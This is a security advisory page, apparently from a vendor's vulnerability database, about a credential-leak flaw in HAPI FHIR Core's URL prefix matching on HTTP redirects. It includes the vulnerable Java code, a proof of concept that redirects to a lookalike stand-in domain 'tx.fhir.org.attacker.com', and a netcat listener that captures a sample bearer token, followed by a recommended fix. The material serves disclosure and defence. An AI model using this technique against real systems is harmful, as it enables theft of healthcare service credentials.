GHSA-fgv2-4q4g-wc35 — org.hl7.fhir.core
HIGHGHSA-fgv2-4q4g-wc35 is a high-severity (CVSS 7.4) CWE-346 vulnerability in ca.uhn.hapi.fhir:org.hl7.fhir.core. A fix is available for ca.uhn.hapi.fhir:org.hl7.fhir.core — see the affected versions and patch details below.
HAPI FHIR Core has Authentication Credential Leakage via Improper URL Prefix Matching on HTTP Redirect
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-fgv2-4q4g-wc35.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-fgv2-4q4g-wc35 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
ca.uhn.hapi.fhir:org.hl7.fhir.core☕ca.uhn.hapi.fhir:org.hl7.fhir.utilitiesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
ManagedWebAccessUtils.getServer() uses String.startsWith() to match request URLs against configured server URLs for authentication credential dispatch. Because configured server URLs (e.g., http://tx.fhir.org) lack a trailing slash or host boundary check, an attacker-controlled domain like http://tx.fhir.org.attacker.com matches the prefix and receives Bearer tokens, Basic auth credentials, or API keys when the HTTP client follows a redirect to that domain.
Details
The root cause is in ManagedWebAccessUtils.getServer() at org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/http/ManagedWebAccessUtils.java:26:
public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
if (serverAuthDetails != null) {
for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
if (url.startsWith(serverDetails.getUrl())) { // <-- no host boundary check
return serverDetails;
}
}
}
return null;
}
The configured production terminology server URL is defined without a trailing slash in FhirSettingsPOJO.java:19:
protected static final String TX_SERVER_PROD = "http://tx.fhir.org";
This means:
"http://tx.fhir.org.attacker.com/capture".startsWith("http://tx.fhir.org")→ true"http://tx.fhir.org:8080/evil".startsWith("http://tx.fhir.org")→ true
Exploit chain via SimpleHTTPClient (redirect path):
SimpleHTTPClient.get()(SimpleHTTPClient.java:68-105) makes a request tohttp://tx.fhir.org/ValueSet/$expand- On each redirect, the loop calls
getHttpGetConnection(url, accept)(line 84) →setHeaders(connection)(line 117) setHeaders()(line 122-133) callsauthProvider.canProvideHeaders(url)andauthProvider.getHeaders(url)on the redirect target URLServerDetailsPOJOHTTPAuthProvider.getServerDetails()(line 83-84) delegates toManagedWebAccessUtils.getServer(url.toString(), servers)- The
startsWith()check matcheshttp://tx.fhir.org.attacker.comagainsthttp://tx.fhir.org - Credentials are dispatched to the attacker's server via
ServerDetailsPOJOHTTPAuthProvider.getHeaders()(lines 38-58):- Bearer tokens:
Authorization: Bearer {token} - Basic auth:
Authorization: Basic {base64(user:pass)} - API keys:
Api-Key: {apikey} - Custom headers from server config
- Bearer tokens:
Note: An earlier fix (commit 6b615880 "Strip headers on redirect") added an isNotSameHost() check, but this was removed in commit 3871cc69 ("Rework authorization providers in ManagedWebAccess"). The current code on master has no host validation during redirect following.
Exploit chain via ManagedFhirWebAccessor (OkHttp path):
ManagedFhirWebAccessor.httpCall() (line 81-112) sets auth headers via requestWithAuthorizationHeaders() before passing the request to OkHttpClient. OkHttpClient follows redirects by default (up to 20) and carries the pre-set auth headers to all redirect targets. The same startsWith() check in canProvideHeaders() applies.
The same vulnerable pattern also exists in ManagedWebAccess.isLocal() (line 214), where url.startsWith(server.getUrl()) is used to determine whether HTTP (non-TLS) access is allowed, potentially enabling TLS downgrade for attacker-controlled domains that match the prefix.
PoC
Step 1: Verify the prefix match behavior
// This demonstrates the core vulnerability
String configuredUrl = "http://tx.fhir.org"; // FhirSettingsPOJO.TX_SERVER_PROD
String attackerUrl = "http://tx.fhir.org.attacker.com/capture";
System.out.println(attackerUrl.startsWith(configuredUrl));
// Output: true
Step 2: Demonstrate credential dispatch to wrong host
Given a fhir-settings.json configuration at ~/.fhir/fhir-settings.json:
{
"servers": [
{
"url": "http://tx.fhir.org",
"authenticationType": "token",
"token": "secret-bearer-token-12345"
}
]
}
When SimpleHTTPClient.get("http://tx.fhir.org/ValueSet/$expand") follows a 302 redirect to http://tx.fhir.org.attacker.com/capture:
setHeaders()is called with the redirect target URLauthProvider.canProvideHeaders(new URL("http://tx.fhir.org.attacker.com/capture"))returnstrueauthProvider.getHeaders(...)returns{"Authorization": "Bearer secret-bearer-token-12345"}- The
Authorizationheader with the secret token is sent totx.fhir.org.attacker.com
Step 3: Attacker captures the credential
# On attacker-controlled server (tx.fhir.org.attacker.com)
nc -l -p 80 | head -20
# Output includes:
# GET /capture HTTP/1.1
# Host: tx.fhir.org.attacker.com
# Authorization: Bearer secret-bearer-token-12345
Impact
- Credential theft: Bearer tokens, Basic authentication passwords, API keys, and custom authentication headers configured for FHIR terminology servers can be exfiltrated by an attacker who can inject a redirect (via MITM, compromised CDN, or DNS poisoning).
- Impersonation: Stolen credentials allow an attacker to make authenticated requests to the legitimate FHIR server, potentially accessing or modifying clinical terminology data.
- Broad exposure: The FHIR Validator is widely used in healthcare IT for validating FHIR resources. Any deployment that configures server authentication in
fhir-settings.jsonand makes outbound HTTP requests to terminology servers is affected. - TLS downgrade: The same
startsWith()pattern inManagedWebAccess.isLocal()could allow an attacker-controlled domain to be treated as "local," bypassing the HTTPS enforcement.
Recommended Fix
Replace the startsWith() check in ManagedWebAccessUtils.getServer() with proper URL host boundary validation:
public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
if (serverAuthDetails != null) {
for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
if (urlMatchesServer(url, serverDetails.getUrl())) {
return serverDetails;
}
}
}
return null;
}
/**
* Check if a URL matches a configured server URL with proper host boundary validation.
* After the configured prefix, the next character must be '/', '?', '#', ':', or end-of-string.
*/
private static boolean urlMatchesServer(String url, String serverUrl) {
if (url == null || serverUrl == null) return false;
if (!url.startsWith(serverUrl)) return false;
if (url.length() == serverUrl.length()) return true;
char nextChar = url.charAt(serverUrl.length());
return nextChar == '/' || nextChar == '?' || nextChar == '#' || nextChar == ':';
}
Apply the same fix to ManagedWebAccess.isLocal() at line 214 and the three-argument getServer() overload at line 14.
Additionally, consider re-introducing the host-equality check for redirects in SimpleHTTPClient (as was previously implemented in commit 6b615880 but removed in 3871cc69) to provide defense-in-depth against credential leakage on cross-origin redirects.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | ca.uhn.hapi.fhir:org.hl7.fhir.core | all versions | 6.9.4ca.uhn.hapi.fhir:org.hl7.fhir.core:6.9.4 |
| ☕Maven | ca.uhn.hapi.fhir:org.hl7.fhir.utilities | all versions | 6.9.4ca.uhn.hapi.fhir:org.hl7.fhir.utilities:6.9.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ca.uhn.hapi.fhir:org.hl7.fhir.core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ca.uhn.hapi.fhir:org.hl7.fhir.core to 6.9.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fgv2-4q4g-wc35 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-fgv2-4q4g-wc35 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-fgv2-4q4g-wc35. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fgv2-4q4g-wc35 in your dependencies?
O3 Security finds GHSA-fgv2-4q4g-wc35 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.